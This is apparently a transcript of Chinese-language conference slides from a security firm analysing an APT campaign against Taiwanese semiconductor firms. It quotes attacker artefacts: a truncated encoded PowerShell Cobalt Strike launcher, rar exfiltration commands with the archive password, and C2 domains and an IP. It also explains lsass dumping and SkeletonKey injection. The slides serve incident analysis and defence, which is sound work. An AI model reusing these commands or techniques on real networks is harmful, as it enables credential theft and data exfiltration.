Operation SemiChimera - ApistekB公司事件概述 調查經過 數據統計 B公司被攻擊...

Post on 17-Nov-2020

5 views 0 download

Transcript of Operation SemiChimera - ApistekB公司事件概述 調查經過 數據統計 B公司被攻擊...

奧義智慧 Proprietary and Confidential Information

Operation SemiChimera針對臺灣半導體產業的 A PT 攻擊

$ whoami

► 林昆立 / Inndy

► 奧義智慧科技資安研究員

► 惡意程式分析、Windows 安全攻防技術

► 逆向工程愛好者

► 從國中開始學逆向工程

► 累積十年以上 Programming 經驗,分析過數百個程式

► 演講經歷

► 2020 BlackHat USA

► 2020 HITB Lockdown 002

► 2019 ROOTCON

演講大綱

► 背景簡介

► 案例分析

► 竹科 A 公司

► 竹科 B 公司

► 惡意程式分析

► CobaltStrike Beacon

► WinRAR

► SkeletonKey Injector

► 總結

半導體產業鏈

► TSMC 具有大量外國訂單

► Apple

► AMD

► 華為

► Intel(尚未證實?)

Taiwan No. 1

► 台灣半導體產業在國際間扮演重要的地位,在全球供應鏈中扮演重要角色

► 針對台灣半導體的網路攻擊► 影響台灣經濟

► 對全球供應鏈造成影響

供應鏈攻擊的嚴重性

重要資安事件回顧

► OT Security 議題相當熱門,產線營運出錯,會造成立即性的經濟損失

► 然而 IT 安全仍相當重要,亦會造成深遠的影響

臺積電 Wannacry ASUS ShadowHammer 中油 ColdLock

半導體產業大規模APT攻擊

在2018 ~ 2019年間,我們偵測到數件針對半導體產業的APT攻擊

攻擊位於新竹科學園區的廠商

研究報告發布後,收到各種管道的回應,這段期間國內外至少有 7 家半導體廠商被

同一個攻擊者集團鎖定

攻擊範圍廣泛

被攻擊的廠商在其各自領域,皆處於領先的地位。而被攻擊的廠商包含有些互為競

爭者、合作夥伴、上下游公司、子母公司。

從點的攻擊到整體產業面的攻擊

調查總覽

調查時間:2018~2019 調查廠商:3+ 總分析端點數:30k端點

奧義智慧 Proprietary and Confidential Information

案例分享

案例分享

► 兩間公司在各自的領域都是處於領先的位置

► 調查的模式以及階段不同,因此對於案情的分析及解讀也有所差異

A 公司

• 由我們公司長期監控的客戶,因此掌握了較多的細節

B 公司

• 一次性的 IR 服務,因此過於久遠的資訊沒辦法全盤了解

後續投影片中,機器、使用者名稱皆經過去識別化,非原本名稱

奧義智慧 Proprietary and Confidential Information

竹科 A 公司

A公司事件概述

► 時間:2019-12-09 ~ 2019-12-10

► 15 個端點遭到入侵,6個帳號被利用

► 4 個惡意程式以及 8 個 C2 伺服器

Cobalt Strike

► Cobalt Strike beacon 偽裝成 Google Update.exe

► VirusTotal 還沒有人上傳過,沒人看過的樣本

► 後門會注入到其他 Process 裡面執行

► 分別在 Server-LAUREN & PC-SHENNA 兩臺端點上面看到

利用雲端服務建置中繼站

► 網路層不太容易看出 C2 連線,因為 C2 伺服器放在 Google 雲端平台上

► 而且惡意程式偽裝成Google Chrome 更新程式

► 其他雲端服務廠商也可能被濫用

根因分析 - PC-SHENNA

► 我們透過時間軸的分析,可以得知 PC-SHENNA 主機的 APT 後門程式是由 Server-LAUREN 主機連線進來所放置

Server-LAUREN

PC-SHENNA

schtasks

抓準下班前打一波攻擊

遠端執行工具

schtasks

► Cobalt Strike beacon 從 NB-CLAIR 被複製到 Server-LAUREN,接著使用schtasks 在 Server-LAUREN 執行

wmic

► Server-LAUREN 透過 wmic 在另外一個端點上檢查是否有外網連線

根因分析 - Server-LAUREN

► 根據前述線索,進一步勾勒案情圖

Server-MELINA

Server-SHANAE

Server-LAUREN

PC-SHENNA

schtasks

wmic

schtasks

根因分析 - Server-LAUREN

► Server-LAUREN 對 Server-MELINA(DC) 的 registry 及 ntds.dit 檔案使用打包工具打包後,後續可以離線進行破解

AD 資料庫

► 把 registry 及 ntds.dit 兩個檔案進行打包,以利後續離線破解密碼

ntds.dit 為 AD 的資料庫,裡面包含網域中主機及成員的資訊 (例如 ID、

Name、Email 及 Password Hash),此檔案為一個加密檔案,金鑰放

置於 SYSTEM registry 中,因此這也是為什麼駭客需要將 registry 資

料一起打包的原因

根因分析 - NB-CLAIR

► 透過 AI 的關聯,我們發現其一樣透過 Schedule Task 的方式,遠端將惡意程式排程至Server-LAUREN 主機

► 使用 User-01 帳號進行操作

Server-MELINA

Server-SHANAE

Server-LAUREN

PC-SHENNA

schtasks

wmic

schtasks

NB-CLAIR

schtasks

根因分析 - NB-CLAIR

► 從 NB-CLAIR 主機的時間軸進行分析,我們發現惡意的遠端排程執行前 6 分鐘,IP1 使用RDP 及 User-01 帳號登入成功

► 我們判斷此為本次攻擊的源頭 晚班?加班?

根因分析 – IP1

► IP1 為一個未掃描主機,此 IP 與多筆帳號有關聯,判斷此 IP 為跳板主機或是 VPN 所使用

► 近期因 COVID-19 疫情影響,WFH & VPN 議題頻繁的被討論。在這案例中,也可以看到VPN並不是完全安全的,切勿將VPN當成唯一的防線。

奧義智慧 Proprietary and Confidential Information

竹科 B 公司

B公司事件概述

► 調查經過

► 數據統計

B公司被攻擊 與C公司合作 雙方介接網路 C公司發現異常 委託調查

時間 Event數量 入侵端點 資料外洩 惡意程式

2018/8/7 ~ 2019/9/18 140k+ 14 9 10

Cyber Situation Graph► 已經被打得亂七八糟了

► 機器多時間長,難以人工調查,經

過我們AI分析後出來的結果

❖2018.11

❖2019.03

❖2019.06

❖2019.09

❑每季定期回

來收資料

❖2019.11,測試新武器 SkeletonKey Injector

❖2019.12,新拿下的機器

PowerShell

► 無檔案攻擊在 10 個端點中被發現,其中兩個是 Domain Controller

► PowerShell 執行 Cobalt Strike beacon 接著遷移到系統服務的 process 裡面(svchost.exe)

powershell -nop -w hidden -encodedcommandJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLAFYAVwBiAFcALwBpAE8AQgBEACsAMwBQAHcASwBYADQAVgAwAG8ASgBaADMAdABnAHQAZABWAFYAbwBuAFEAQQBrAGwAbABKAGMAVwAyAGsAWABWAHkAUwBRAG0AdQBEAGcASgBkAFoAeQBtAGQATABmAC8ALwBTAFkAdgA1AEoAYgAyAGIAawArADYAaQB4AFEAbABuAHMAdwA4AE0AOAA5ADQAUABKAE0AcABsAGMAVwBwAEYATQB5AFUAaABtAGQAUgBWAEoAeABSADQAVABQ

C2 Server

► 經分析下列端點感染 APT 惡意程式,駭客透過 Cobalt Strike 駭客工具將惡意程式注入系統服務中,進而操作並連線至中繼站。

► 中繼站: striking-pipe-253603.appspot.com、 172.217.27.148:443 、 msplatform-updates.azureedge.net 、 chrome-applatses.appspot.com

打包密碼

► 這次的 C2 放在 Google App Engine 和Azure 上

► appspot[.]com

► azureedge[.]net

► 將 rar 命名為RecordedTV.ms, jucheck.exe 及vmware.log等正常檔案的名稱,混淆使用者

► 用前面提過的 rar.exe 打包文件資料,壓縮檔密碼是 "fuckyou.google.com11"

c:\users\xxxx\libraries\RecordedTV.ms a -m5 -v71m -hpfuckyou.google.com11 vmlum-vss.log vmlum-vmvss.logC:\Windows\system32\cmd.exe /C c:\users\xxxxxx\libraries\RecordedTV.ms a -m5 -r -hpfuckyou.google.com11 vmlum-vmopt.log “\\<Hostname>\personal\<Username>\<Product>-Traning-v1.1.pptx" > vmlumss.log & dir vmlum-vmopt*

洩漏的資料

► 在調查過程中,我們清點遭外洩的檔案

► 由此可知,攻擊者目標為技術文件、智慧財產的盜取

\\Users\<Account>\Project\Roadmap\\Users\<Account>\Backup\Workspace\\Users\<Account>\chip and SDK setting\\Users\<Account>\<Productname> SDK Installation guide.pdf

奧義智慧 Proprietary and Confidential Information

惡意程式分析

惡意程式列表

► Cobalt Strike Beacon

► WinRAR

► SkeletonKey Injector

► Winnti Backdoor

奧義智慧 Proprietary and Confidential Information

Cobalt Strike Beacon

Cobalt Strike Beacon

► Cobalt Strike Beacon was used as main backdoor

► 以覆蓋 GoogleUpdate.exe 作為滯留手法

► 同樣的程式出現在兩家公司中

Cobalt Strike 組成元件

► Stager

► 小型的程式或 Shellcode,用於載入其他的 payload

► Beacon

► 具有完整功能的後門

可疑的 R-W-X 記憶體

► 我們的產品偵測到記憶體中存在 CobaltStrike Beacon 後門

混合型 Payload:PE 即 Shellcode

► "MZ" 檔頭可以被解碼成正常的指令:"pop r10" (x86 64bits)

► "dec ebp; pop edx" (x86 32bits)

► Reflective Loader 位於 0x1791c

► 把 PE 自身在記憶體中載入好

定位 shellcode 自身位址,並且當作第一個參數 (rdi)

計算 Reflective Loader 位址並且執行

透過 Named Pipe 傳送 Shellcode

CobaltStrike 執行策略

Malicious Process

CobaltStrikeBeacon Module

Target Process

Stager Shellcode Real PayloadExecute

Spawn

Execute

奧義智慧 Proprietary and Confidential Information

WinRAR

WinRAR

► 攻擊者使用 rar.exe 來壓縮並加密竊取的檔案

► 相同目錄下存在相似檔名 (RecordedTV.library-ms) 的資料夾

修改版 rar.exe

► 2009 就被上傳到 VirusTotal

► WinRAR 3.60b8 的 rar.exe

► 有 1byte 差異,並且不是用於破解的補丁

► 該補丁可能會導致程式 crash

► 可能性一:刻意改變檔案 hash

► 可能性二:複製過程出錯的 bit-flip

檔案 diff 反組譯結果

奧義智慧 Proprietary and Confidential Information

SkeletonKey Injector

SkeletonKey Injector

► 由 dumpert 和 mimikatz 組成的新型惡意程式

► Mimikatz 是非常知名的駭客工具

⚫ 大部分的人只會用它來 dump 密碼跟 hash,但其實有更多功能

⚫ 繞過 GPO 啟動 cmd, taskmgr, regedit、偷看踩地雷盤面、Pass the {ticket,hash}

► Dumpert 是用來隱蔽 dump lsass.exe 的工具

出現在不同的 Domain Controller 上

Forwarded Exports

Dumpert

► 以直接 system call 的方式來操作記憶體,讀取 lsass.exe 記憶體

► Windows 的 syscall numbers 在不同版本會改變

► Unix 系統新增 syscall 會往後遞增

► 官方有提供文件的 Windows API 是唯一穩定的界面

► 所以 Windows 的 shellcode 一定從 PEB 開始找 DLL 跟 export function

Dumpert:實作方式

► 以 NTDLL 的 RtlGetVerion 來讀取 Windows 版本資訊

► 根據不同版本使用不同的 syscall function

► 繞過所有 Ring-3 hook

SkeletonKey

► DELL Secureworks 在 2015 發現的惡意程式,全新的 AD 攻擊手法

► 在 Domain Controller 埋下後門密碼

► 使用者原本的密碼正常運作,其他錯誤的密碼還是會驗證失敗

► 注入程式到 lsass.exe 修改 DC 認證的流程

SkeletonKey Injector

► 現代 EDR 不喜歡在 kernel 裡面放 hook

► 不穩定、軟體衝突,有問題就 BSOD 給你看

► 從 dumpert 和 mimikatz 複製程式碼重組

► 並且只留下必要的 function

► 把 mimikatz 存取記憶體的 function 換成 dumpert 的實作

► 繞過 Ring3 hook 存取 lsass.exe

SkeletonKey Injector 的衝擊

► Ring3 hook 無法偵測或阻擋

► 不需要用管理員帳號進行橫向移動

► 管理員帳號的認證記錄太容易引起關注

► 每天都有大量的普通使用者登入成功的事件

► 難以發覺 "異常" 的登入記錄

► 清除 SkeletonKey 一定要重開 domain controller

► DC 上面如果還有其他服務,你跟我說要重開機…?!

► 修改密碼不會清除 SkeletonKey

► 可以種 SkeletonKey 表示 DC 被打下來…

奧義智慧 Proprietary and Confidential Information

Winnti Backdoor

內網探測工具:baseClient.exe

► 起初我們認為這只是一個網路探測工具

► 早期的 Event log 保留不夠完整

Winnti Backdoor

► 經過後續分析,我們發現其實是 Winnti 後門

► 0xABC18CBA 是 Winnti 通訊協定中的常數

► 經過程式結構比對,部分程式相同

重點整理

► 非常大規模的 APT 行動,已知至少有 7 家公司受害

► 非常精細、針對性的攻擊,打半導體產業、子公司、商業夥伴、競爭對手

► 目標是竊取技術機密(文件、原始碼、SDK、晶片設計圖)

► 對與整體產業影響非常大

► 攻擊者使用開源、商業工具,避免身份被指認

► 在兩個案例分享中,VPN 和 AD 環境都被攻陷,IT 架構的韌性很重要

► 使用 SkeletonKey 攻擊手法,躲避偵測並且快速的橫向移動

► 沒有絕對安全的系統,及早發現、及時治療

奧義智慧 Proprietary and Confidential Information

Q&A感謝您的聆聽